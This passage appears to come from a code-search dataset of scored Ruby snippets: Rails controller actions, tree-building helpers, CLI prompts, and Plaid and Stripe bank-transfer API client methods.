"text": "def createTree(height)\n\n #puts \"\\n\\n#{@code}\\n\\n\"\n current_node = nil\n\n if @code[0] == \"0\"\n\n #damos por hecho el nodo es una rama y generamos los dos hijos\n data = Information.new(\"father\",height)\n current_node = Node.new(data)\n\n @code = @code[1..@code.size]\n\n ##Comemos la cadena validada con\n current_node.setLeft( createTree(height - 1 ) )\n\n current_node.setRight( createTree(height + 1) )\n\n return current_node\n\n elsif @code[0] == \"1\"\n\n #Obtenemos la inofacion del codigo\n caracter = [@code[1..8].join]\n\n data = Information.new(caracter.pack('B*'),height)\n current_node = Node.new(data)\n @code = @code[9..@code.size]\n\n return current_node\n end\n end",
"title": ""
},
{
"docid": "9820695cf5374d7f0892321528b990f1",
"score": "0.53300786",
"text": "def new_tree\n @category=Category.new\n \n end",
"title": ""
},
{
"docid": "cefb89f2a00568ce337970781c2299bc",
"score": "0.5328253",
"text": "def new\n @tree_node = TreeNode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tree_node }\n end\n end",
"title": ""
},
{
"docid": "b2837223a282e06397f2562d97bb5962",
"score": "0.532812",
"text": "def newChild\n @rootName = params[:root]\n @pages = Page.roots.select{|root| root.name == @rootName}\n unless @pages.length == 0\n @children = params[:children].split('/')\n @page = findTreeNamedNode(@children, @pages[0])\n if @page.nil? # if not yet exists\n @children = params[:children].split('/')\n @ansNames = @children.first(@children.length - 1)\n @ans = findTreeNamedNode(@ansNames, @pages[0])\n if @ans.nil? # if we haven't part of full path for creatng node\n render :action => 'index'\n else\n @page = @ans.children.create(\"name\" => @children.last())\n render :action => 'new'\n end\n else # if already exists\n render :action => 'edit'\n end\n else\n render :action => 'index'\n end\n end",
"title": ""
},
{
"docid": "94109a9015a9a3eb545150b42c0c3a89",
"score": "0.53220016",
"text": "def create(opt={})\n self.build_tree(\n Saddle::Requester.new(\n self,\n default_options.merge(opt)\n )\n )\n end",
"title": ""
},
{
"docid": "ccd5b0246b473a60e1d941550293fd89",
"score": "0.531983",
"text": "def newstudent\n puts \"Would you like to add a new student? (Y/N)\"\n answer = STDIN.gets.chomp.capitalize\n if answer == \"Y\"\n input_students\n else interactive_menu\n end\nend",
"title": ""
},
{
"docid": "882dea37e1fd9bc5c82be11e72db1c7f",
"score": "0.5314172",
"text": "def create_person\n print \"Create a new (P)olitician or (V)oter ?: \"\n type_of_person_to_create = gets.chomp.capitalize\n if type_of_person_to_create == \"P\"\n create_politician\n elsif type_of_person_to_create == \"V\"\n create_voter\n else\n invalid_entry\n create_person\n end\n end",
"title": ""
},
{
"docid": "0808bfa86d16bac690f2b7dabdbb0ef3",
"score": "0.531169",
"text": "def quick_treeitem(how, what)\n QuickTreeItem.new(self, how, what, parent_widget, window_id)\n end",
"title": ""
},
{
"docid": "623ae8ade86576721c8c90c0ac5ca80c",
"score": "0.52965426",
"text": "def call\n tree\n end",
"title": ""
},
{
"docid": "e7ea1aac6e7e28cb942e195d60f8fa2b",
"score": "0.5294691",
"text": "def create_new_ask\n types = [\"todo\",\"link\",\"event\"]\n type = cli_interface.ask \"Would you like a todo,event or link\"\n type = type.downcase\n raise InvalidItemType, \"Type not found\" unless types.include?(type)\n make_type(type)\n end",
"title": ""
},
{
"docid": "26d22e61649892025d2acba0a82cc04e",
"score": "0.52907234",
"text": "def create_tree\n\t\tqueue = [@head]\n\t\twhile !queue.empty?\n\t\t\tcurrent_node = queue.pop\n\t\t\tif has_children?(current_node.text)\n\t\t\t\tcurrent_node.children = []\n\t\t\t\tcreate_children(current_node, queue)\n\t\t\telse\n\t\t\t\tcurrent_node.text = current_node.text.strip\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "4aebff5fce16cc0ae61908116f49f8bf",
"score": "0.5290351",
"text": "def new\n @hierarchy = Hierarchy.new\n end",
"title": ""
},
{
"docid": "1fcde4a5c03dcd81728a4289b1c341bd",
"score": "0.52869153",
"text": "def navigate_through_view_kit\n # select \"Interact with Existing Kits\", select the first option \"Example\",\n # select \"View Kit info\", answer \"n\" to \"Do you want to edit this kit\"\n @prompt.input << RETURN << RETURN << RETURN << \"n#{RETURN}\"\n @prompt.input.rewind\n end",
"title": ""
},
{
"docid": "88bacdc9e061ca22cc5a387391c1ef45",
"score": "0.52853334",
"text": "def new\n @qbl_tree = QblTree.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @qbl_tree }\n end\n end",
"title": ""
},
{
"docid": "f5eeb740332e9dac33e352ab13f06dd7",
"score": "0.5281489",
"text": "def new\n if params[:parent_id]\n @parent_node = Node.find(params[:parent_id])\n @parent_node_type = @parent_node.node_type\n if @parent_node_type == 'series'\n @node_type = 'episodes'\n elsif @parent_node_type == 'episodes'\n @node_type = 'episode'\n elsif @parent_node_type == 'episode'\n @node_type = 'category'\n elsif @parent_node_type == 'category'\n @node_type = 'task'\n else\n @node_type = ''\n end\n end\n @node = Node.new(parent_id: params[:parent_id], node_type: @node_type)\n end",
"title": ""
},
{
"docid": "37df191ab5b47944f4410ae0f636abdd",
"score": "0.52787334",
"text": "def new\n @orgtree = Orgtree.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @orgtree }\n end\n end",
"title": ""
},
{
"docid": "1974eb279435dcf8eaa98d8055f9b6be",
"score": "0.52761024",
"text": "def browse_objects\n Gtk.init\n win = ObjectTreeViewWindow.new(ARGV[0]).set_default_size(400, 400).show_all\n Gtk.main\nend",
"title": ""
},
{
"docid": "baf54a1f620180f71b4c3af6daffd4df",
"score": "0.52712446",
"text": "def initialize(inputs,operators)\n self.root = Node.new\n self.root.build(inputs,operators)\n self.answer = nil\n end",
"title": ""
},
{
"docid": "8e0504dfeece9d7655e3edc1c02dbd47",
"score": "0.5270747",
"text": "def create\n @happy_tree = HappyTree.new(happy_tree_params)\n\n respond_to do |format|\n if @happy_tree.save\n format.html { redirect_to @happy_tree, notice: 'Happy tree was successfully created.' }\n format.json { render :show, status: :created, location: @happy_tree }\n else\n format.html { render :new }\n format.json { render json: @happy_tree.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19b4b95d64d659e8bd78f6d71901c212",
"score": "0.52678835",
"text": "def main_menu\n user.reload # we reload to get most recent data\n system \"clear\" # clears the terminal and pushes this to the top\n puts \"Hello there #{self.user.name}!\"\n\n prompt.select(\"Do you want to...\" ) do |menu|\n menu.choice \"Create a To Do List\", -> {create_a_todolist}\n menu.choice \"Choose Category\", -> {create_a_todolist}\n end\n end",
"title": ""
},
{
"docid": "ec608d86f75220c999c37d4c79ab0240",
"score": "0.52665806",
"text": "def prompt_input\n puts \"► What would you like to do?\"\n puts \"► Enter: 'menu' to see all commands / 'exit' to exit program.\"\n get_input\n end",
"title": ""
},
{
"docid": "e2afa106a910d6c1eeb4d5bef16418f2",
"score": "0.52561706",
"text": "def do_tree(*a)\n return if $debugmode == false\n \n STDOUT.puts get_root\n end",
"title": ""
},
{
"docid": "98c673705079c8f586615a664e2dfd05",
"score": "0.5255515",
"text": "def build_tree\n #create root node\n \t@root=Node.new('document',nil,nil,nil,[],nil)\n #set initial pointer to root\n \t@pointer=@root\n \t@num_nodes=1\n #for each line, create a node at a certain level depending on the html\n \t@document.each do |line|\n \t create_nodes(line)\n \t end\n end",
"title": ""
},
{
"docid": "e495a0deedfec9a6807ec991fa7ab50d",
"score": "0.52496266",
"text": "def create_politician\n puts \"Please enter politican's name.\"\n politician_name = gets.chomp.capitalize\n puts <<-EOP\n \"What is politician's party affiliation?\n (D)emocrat\n (R)epublican\"\n EOP\n politician_party = gets.chomp.capitalize\n case politician_party\n when \"D\"\n party = \"Democrat\"\n when \"R\"\n party = \"Republican\"\n else\n puts \"Invalid input. Please try again\"\n create_politician\n end\n new_politician = Politician.new(politician_name, party)\n p \"#{politician_name} has been added to the politicians list.\"\n @politicians << new_politician\n main_menu\nend",
"title": ""
},
{
"docid": "b265ba1c38a0d476df53b4c7f598b5c5",
"score": "0.5241954",
"text": "def create_user\n \n # Ask user for name input\n name = @prompt.ask(\"Can we start with your name? You can just press 'enter' to remain anonymous.\".magenta, default: \"anonymous\").strip.capitalize\n # Create new user object with name parameter \n @user = User.new(name)\n\n # display further introduction to user\n puts \"Hi #{self.user.name}! If you're feeling a bit lost, you're welcome to take a short personality quiz that will hopefully give you a few helpful career suggestions. You can also compare two career options directly across a range of metrics. If you already know your personality type (say you've done a Myer-Briggs-style test before), you can search for careers that might suit your personality type. \".cyan\n end",
"title": ""
},
{
"docid": "21e9cc6c98dc85f54e9d18ac1563a537",
"score": "0.52395105",
"text": "def tree(connection, *args)\n commit(connection, \"tree\", *args)\n end",
"title": ""
},
{
"docid": "081999239da8f855c28604c83d5b49e8",
"score": "0.5235349",
"text": "def new_branch_keypressed(evt)\n if evt.code == javafx.scene.input.KeyCode::ENTER\n create_branch(nil)\n end\n end",
"title": ""
}
] |
8346f6492e0f062384443ec87c67a160 | Create a bank transfer Use the &x60;/bank_transfer/create&x60; endpoint to initiate a new bank transfer. | [
{
"docid": "27400c142830c33b27dc5a270a4c2c16",
"score": "0.7007458",
"text": "def bank_transfer_create_with_http_info(bank_transfer_create_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PlaidApi.bank_transfer_create ...'\n end\n # verify the required parameter 'bank_transfer_create_request' is set\n if @api_client.config.client_side_validation && bank_transfer_create_request.nil?\n fail ArgumentError, \"Missing the required parameter 'bank_transfer_create_request' when calling PlaidApi.bank_transfer_create\"\n end\n # resource path\n local_var_path = '/bank_transfer/create'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(bank_transfer_create_request)\n\n # return_type\n return_type = opts[:debug_return_type] || 'BankTransferCreateResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['clientId', 'plaidVersion', 'secret']\n\n new_options = opts.merge(\n :operation => :\"PlaidApi.bank_transfer_create\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PlaidApi#bank_transfer_create\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
}
] | [
{
"docid": "5d51e32a12b255d2a878814d44d30664",
"score": "0.80827",
"text": "def create_bank_transfer\n bank_transfer_create_request = Plaid::BankTransferCreateRequest.new(\n {\n :idempotency_key => Random.rand(0..1_000_000_000).to_s,\n :access_token => access_token,\n :account_id => account.account_id,\n :type => Plaid::BankTransferType::CREDIT,\n :network => Plaid::BankTransferNetwork::ACH,\n :amount => \"1.00\",\n :iso_currency_code => \"USD\",\n :description => \"plaid\",\n :ach_class => \"ppd\",\n :user => {\n legal_name: \"Firstname Lastname\",\n },\n }\n )\n\n create_response = client.bank_transfer_create(bank_transfer_create_request)\n refute_nil(create_response)\n assert_kind_of(Plaid::BankTransfer, create_response.bank_transfer)\n refute_nil(create_response.bank_transfer.id)\n assert_equal(account.account_id, create_response.bank_transfer.account_id)\n create_response.bank_transfer\n end",
"title": ""
},
{
"docid": "b90444475532c70ad9cd669172d2c2ae",
"score": "0.7953737",
"text": "def bank_transfer_create(bank_transfer_create_request, opts = {})\n data, _status_code, _headers = bank_transfer_create_with_http_info(bank_transfer_create_request, opts)\n data\n end",
"title": ""
},
{
"docid": "b90444475532c70ad9cd669172d2c2ae",
"score": "0.7953737",
"text": "def bank_transfer_create(bank_transfer_create_request, opts = {})\n data, _status_code, _headers = bank_transfer_create_with_http_info(bank_transfer_create_request, opts)\n data\n end",
"title": ""
},
{
"docid": "9b4e84608058a6655a71cb0da5afa5a3",
"score": "0.7499972",
"text": "def create\n @banktransfer = Banktransfer.new(banktransfer_params)\n\n respond_to do |format|\n if @banktransfer.save\n format.html { redirect_to @banktransfer, notice: 'Banktransfer was successfully created.' }\n format.json { render :show, status: :created, location: @banktransfer }\n else\n format.html { render :new }\n format.json { render json: @banktransfer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4c907ae8b5dcc5ce6351c80a0066d787",
"score": "0.74729544",
"text": "def create\n @bank_transfer = BankTransfer.new(bank_transfer_params)\n BankTransfer.process_transfer(@bank_transfer)\n \n respond_to do |format|\n if @bank_transfer.save\n format.html { redirect_to @bank_transfer, notice: 'Bank transfer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bank_transfer }\n else\n format.html { render action: 'new' }\n format.json { render json: @bank_transfer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a5cf0d44b0e40048e67f526a6e260a56",
"score": "0.7381253",
"text": "def create_transfer(options = {})\n build_response(make_request(:post, url: 'transfers', options: options))\n end",
"title": ""
},
{
"docid": "e2f7b55d6d3fa29a8bfd8483c23643d8",
"score": "0.72164094",
"text": "def processor_bank_transfer_create(processor_bank_transfer_create_request, opts = {})\n data, _status_code, _headers = processor_bank_transfer_create_with_http_info(processor_bank_transfer_create_request, opts)\n data\n end",
"title": ""
},
{
"docid": "e2f7b55d6d3fa29a8bfd8483c23643d8",
"score": "0.72164094",
"text": "def processor_bank_transfer_create(processor_bank_transfer_create_request, opts = {})\n data, _status_code, _headers = processor_bank_transfer_create_with_http_info(processor_bank_transfer_create_request, opts)\n data\n end",
"title": ""
},
{
"docid": "af2b0ddb39c4a0dfcf096a12b785190e",
"score": "0.7171525",
"text": "def create\n\t\t@stripe_account = StripeAccount.find_by_user_id(@user.id)\n\t\t@transfer = Transfer.create(\n\t\t\tuser_id: @user.id,\n\t\t\tamount: params[:transfer][:amount],\n\t\t\tstatus: \"Pending\"\n\t\t)\n\t\tTransfer.make_transfer(@transfer.id, @stripe_account.stripe_id)\n\t\tredirect_to(:back)\n\tend",
"title": ""
},
{
"docid": "6149a2c6f8e4827355a40d22f9974d09",
"score": "0.6991908",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n if params[\"transaction\"][\"transaction_type_key\"] == \"transfer\"\n bank_account_destination = BankAccount.find(params[\"transaction\"][\"bank_account_destination\"])\n @transaction.transfer_to(bank_account_destination.id)\n end\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa76f391b498653261cd636df0a920be",
"score": "0.69627297",
"text": "def create\n @bank = Bank.new(bank_params)\n\n respond_to do |format|\n if @bank.save\n format.html { redirect_to @bank, notice: 'Tank was successfully created.' }\n format.json { render :show, status: :created, location: @bank }\n else\n format.html { render :new }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5bb7ef3ec37229ba8830244f36294376",
"score": "0.69493353",
"text": "def bank_transfer_create_with_http_info(bank_transfer_create_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PlaidApi.bank_transfer_create ...'\n end\n # verify the required parameter 'bank_transfer_create_request' is set\n if @api_client.config.client_side_validation && bank_transfer_create_request.nil?\n fail ArgumentError, \"Missing the required parameter 'bank_transfer_create_request' when calling PlaidApi.bank_transfer_create\"\n end\n # resource path\n local_var_path = '/bank_transfer/create'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(bank_transfer_create_request)\n\n # return_type\n return_type = opts[:debug_return_type] || 'BankTransferCreateResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['clientId', 'plaidVersion', 'secret']\n\n new_options = opts.merge(\n :operation => :\"PlaidApi.bank_transfer_create\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PlaidApi#bank_transfer_create\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "0a9a688c9c1563e222c85765cfd4cbc1",
"score": "0.6947581",
"text": "def create\n @bank_transaction = BankTransaction.new(bank_transaction_params)\n\n respond_to do |format|\n if @bank_transaction.save\n format.html { redirect_to @bank_transaction, notice: 'Bank transaction was successfully created.' }\n format.json { render :show, status: :created, location: @bank_transaction }\n else\n format.html { render :new }\n format.json { render json: @bank_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af9163c7d286578924fcbee4e818d002",
"score": "0.69333917",
"text": "def create\n @bank = Bank.new(params[:bank])\n\n respond_to do |format|\n if @bank.save\n flash[:notice] = 'Bank was successfully created.'\n format.html { redirect_to(@bank) }\n format.xml { render :xml => @bank, :status => :created, :location => @bank }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bank.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af9163c7d286578924fcbee4e818d002",
"score": "0.69333917",
"text": "def create\n @bank = Bank.new(params[:bank])\n\n respond_to do |format|\n if @bank.save\n flash[:notice] = 'Bank was successfully created.'\n format.html { redirect_to(@bank) }\n format.xml { render :xml => @bank, :status => :created, :location => @bank }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bank.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3bfd30f8cafdc1414c878a9c8119e2b2",
"score": "0.69302857",
"text": "def create\n @bank_transaction = BankTransaction.new(params[:bank_transaction])\n\n respond_to do |format|\n if @bank_transaction.save\n format.html { redirect_to @bank_transaction, notice: 'Bank transaction was successfully created.' }\n format.json { render json: @bank_transaction, status: :created, location: @bank_transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bank_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "31296e77057a95898577dae408d84a37",
"score": "0.691242",
"text": "def create_bank_transfer(xero_tenant_id, bank_transfers, opts = {})\n data, _status_code, _headers = create_bank_transfer_with_http_info(xero_tenant_id, bank_transfers, opts)\n data\n end",
"title": ""
},
{
"docid": "f9c0ea45251eeb2be942745fefdcc4f3",
"score": "0.68952453",
"text": "def create_transfer_record\n @transfer_record = TransferRecord.create!(transfer_record_params)\n end",
"title": ""
},
{
"docid": "5402291196b8df2913e87ebcf698da7e",
"score": "0.6891273",
"text": "def create\n @bank = Bank.new(params[:bank])\n\n respond_to do |format|\n if @bank.save\n format.html { redirect_to(@bank) }\n format.xml { render :xml => @bank, :status => :created, :location => @bank }\n format.json { render :text => '{status: \"success\", message: \"成功创建银行!\"}'}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bank.errors, :status => :unprocessable_entity }\n format.json { render :text => \"{status: 'failed', error:#{@bank.errors.full_messages.to_json}}\"}\n end\n end\n end",
"title": ""
},
{
"docid": "2ae107f20c82b1975fc13388c134b388",
"score": "0.6871421",
"text": "def create\n @transfer = current_user.account.transfers.new(transfer_params)\n @transfer.amount = normalize_money(transfer_params[:amount])\n respond_to do |format|\n if @transfer.save\n BankOperations.increment_decrement(@transfer.id, @transfer.account_to, @transfer.amount)\n format.html { redirect_to @transfer, notice: 'Transfer was successfully created.' }\n format.json { render :show, status: :created, location: @transfer }\n else\n format.html { render :new }\n format.json { render json: @transfer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "903d526b339a809fec32519c990ed66c",
"score": "0.68608415",
"text": "def new_bank_transaction\n\t\t\t@transaction = BankTransaction.new\n\t\t\t@banks = Bank.options_for_list\n\t\tend",
"title": ""
},
{
"docid": "27c1d4d9284830bf939da16eedc3467d",
"score": "0.68119824",
"text": "def create\n @bank = Bank.new(create_bank_params)\n\n if @bank.save\n redirect_to bank_path(@bank.id), notice: 'La cuenta de banco fue creada.'\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "4fac71415824ea5d649ca2cb1e19716a",
"score": "0.67971647",
"text": "def create\n @bank = Bank.new(params[:bank])\n\n respond_to do |format|\n if @bank.save\n format.html { redirect_to @bank, notice: 'Bank was successfully created.' }\n format.json { render json: @bank, status: :created, location: @bank }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f8f34d2511061fb9e9f3c3cb383be1a2",
"score": "0.67594385",
"text": "def create\n @bank = Bank.new(bank_params)\n\n respond_to do |format|\n if @bank.save\n format.html { redirect_to @bank, notice: 'Bank was successfully created.' }\n format.json { render :show, status: :created, location: @bank }\n else\n format.html { render :new }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d2cff422e8b0931bf49458c95604f08",
"score": "0.67357296",
"text": "def create\n @transbank = Transbank.new(transbank_params)\n\n respond_to do |format|\n if @transbank.save\n format.html { redirect_to @transbank, notice: \"Transbank was successfully created.\" }\n format.json { render :show, status: :created, location: @transbank }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @transbank.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9ca03a034a28efca7e14af014baf2857",
"score": "0.67144644",
"text": "def create\n @bank = Bank.new(bank_params)\n\n respond_to do |format|\n if @bank.save\n format.html { redirect_to @bank, notice: 'Bank was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bank }\n else\n format.html { render action: 'new' }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f2b6294708ac312b06ce404beb4ea332",
"score": "0.6705895",
"text": "def create\n @bank = Bank.new(bank_params)\n\n if @bank.save\n redirect_to banks_path\n else\n render :new, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "02923eb9b5d8c63044ec742aac217ffb",
"score": "0.66870743",
"text": "def create\n @balance_bank = BalanceBank.new(balance_bank_params)\n\n respond_to do |format|\n if @balance_bank.save\n format.html { redirect_to @balance_bank, notice: 'Balance bank was successfully created.' }\n format.json { render :show, status: :created, location: @balance_bank }\n else\n format.html { render :new }\n format.json { render json: @balance_bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "08f3ce02ab9ff53c6d3acbdfe26d22a9",
"score": "0.6684541",
"text": "def create\n @bank = Bank.new(bank_params)\n\n respond_to do |format|\n if @bank.save\n format.html { redirect_to banks_path, notice: I18n.t('messages.created_with', item: 'Banco')}\n else\n format.html { render :new }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c22b3f43773f50d1a0343300b115727b",
"score": "0.66809726",
"text": "def create\n @bank_account = BankAccount.new(params[:bank_account])\n\n respond_to do |format|\n if @bank_account.save\n format.html { redirect_to(@bank_account, :notice => 'Bank account was successfully created.') }\n format.xml { render :xml => @bank_account, :status => :created, :location => @bank_account }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bank_account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af747e9ebc1bdfc2dbfd9bf9f6d0f002",
"score": "0.6641304",
"text": "def transfer_create(transfer_create_request, opts = {})\n data, _status_code, _headers = transfer_create_with_http_info(transfer_create_request, opts)\n data\n end",
"title": ""
},
{
"docid": "af747e9ebc1bdfc2dbfd9bf9f6d0f002",
"score": "0.6641304",
"text": "def transfer_create(transfer_create_request, opts = {})\n data, _status_code, _headers = transfer_create_with_http_info(transfer_create_request, opts)\n data\n end",
"title": ""
},
{
"docid": "be46a118852576cf04f0ea9328e27018",
"score": "0.6637202",
"text": "def create\n @bank_account = BankAccount.new(params[:bank_account])\n\n respond_to do |format|\n if @bank_account.save\n flash[:notice] = 'BankAccount was successfully created.'\n format.html { redirect_to(@bank_account) }\n format.xml { render :xml => @bank_account, :status => :created, :location => @bank_account }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bank_account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7e88e238db2bbb11ad3b65ffda170ab1",
"score": "0.6626005",
"text": "def create\n @account_bank = AccountBank.new(account_bank_params)\n\n respond_to do |format|\n if @account_bank.save\n format.html { redirect_to @account_bank, notice: 'Account bank was successfully created.' }\n format.json { render :show, status: :created, location: @account_bank }\n else\n format.html { render :new }\n format.json { render json: @account_bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1058472c6b4e440c5bd109991b853677",
"score": "0.65905964",
"text": "def create\n @bank_account = current_user.build_bank_account(params[:bank_account])\n\n respond_to do |format|\n if @bank_account.save\n format.html { redirect_to(dashboard_path, :notice => 'Bank account was successfully created.') }\n format.xml { render :xml => @bank_account, :status => :created, :location => dashboard_path }\n else\n format.html { render :action => 'new' }\n format.xml { render :xml => @bank_account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a75049d40cccfa3ab1da83fae48b9ac5",
"score": "0.6566426",
"text": "def create\n unless @current_user.can_transfer_money?\n redirect_to vendor_declined_path\n return\n end\n\n @transfer = Transfer.new(transfer_params)\n\n respond_to do |format|\n if @transfer.save\n @transfer.initiate_payment\n notice = \"Money sent to #{@transfer.recipient.first_name}\"\n format.html { redirect_to(dashboard_user_path(@transfer.user),\n :notice=>notice)}\n format.json { render :show, status: :created, location: @transfer }\n else\n format.html do\n a = @transfer.attributes\n a[:error_messages] = @transfer.errors.messages\n flash[:transfer] = Marshal.dump(a)\n redirect_to dashboard_user_path(@transfer.user_id)\n end\n format.json { render json: @transfer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "04db30ffc93a079b59a83502d026dce0",
"score": "0.6558906",
"text": "def create_bank_token\n @btok = Stripe::Token.create(\n bank_account: { \n country: \"US\",\n currency: \"usd\",\n routing_number: \"110000000\",\n account_number: \"000123456789\"\n }\n )\n end",
"title": ""
},
{
"docid": "91fcb7e953abc461ba0c93d2e6163666",
"score": "0.64980793",
"text": "def create\n transfer = current_user.transfers.new(transfer_params)\n if transfer.save\n new_transaction = current_user.transfers.new\n new_transaction.payments.build\n flash[:success] = 'Transfer created successfully.'\n render :success, locals: { transaction: transfer, new_transaction: new_transaction, transacted_at: params[:transfer][:transacted_at] }\n else\n flash[:failure] = transfer.errors.full_messages.to_sentence\n render :failure, locals: { transaction: transfer } # TODO: Check n Remove locals\n end\n end",
"title": ""
},
{
"docid": "2a2fdf6b2b5ac042f46a976ac14fa99e",
"score": "0.6495873",
"text": "def create\n @bank_account = BankAccount.new(bank_account_params)\n\n respond_to do |format|\n if @bank_account.save\n format.html { redirect_to @bank_account, notice: 'Bank account was successfully created.' }\n format.json { render :show, status: :created, location: @bank_account }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @bank_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "318a4c0a421f713698c155f4e672d05e",
"score": "0.64929205",
"text": "def create\n @breadcrumb = 'create'\n @bank_account_class = BankAccountClass.new(params[:bank_account_class])\n @bank_account_class.created_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @bank_account_class.save\n format.html { redirect_to @bank_account_class, notice: crud_notice('created', @bank_account_class) }\n format.json { render json: @bank_account_class, status: :created, location: @bank_account_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bank_account_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "226d3e6bfd3226c29a7487795c49b922",
"score": "0.6485921",
"text": "def create\n @transaction = current_account.transactions.build(transaction_params)\n # Set's values for transaction balance\n @transaction.initial_bal = current_account.balance\n @transaction.final_bal = @transaction.initial_bal - @transaction.amount\n\n respond_to do |format|\n if @transaction.save\n # Updates the balance of the account to reflect the transfer\n current_account.balance = @transaction.final_bal\n current_account.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "34a961331d12cff6834d64ac5fa0014e",
"score": "0.6477864",
"text": "def create\n @admin_bank_transaction = Admin::BankTransaction.new(params[:admin_bank_transaction])\n\n respond_to do |format|\n if @admin_bank_transaction.save\n format.html { redirect_to \"/parties/admin/accounting_bank_accounts/transaction_summary/#{@admin_bank_transaction.accounting_bank_account_id}\" }\n format.json { render json: @admin_bank_transaction, status: :created, location: @admin_bank_transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_bank_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "262450ae98e2981cc8b064b93805ddaf",
"score": "0.64452565",
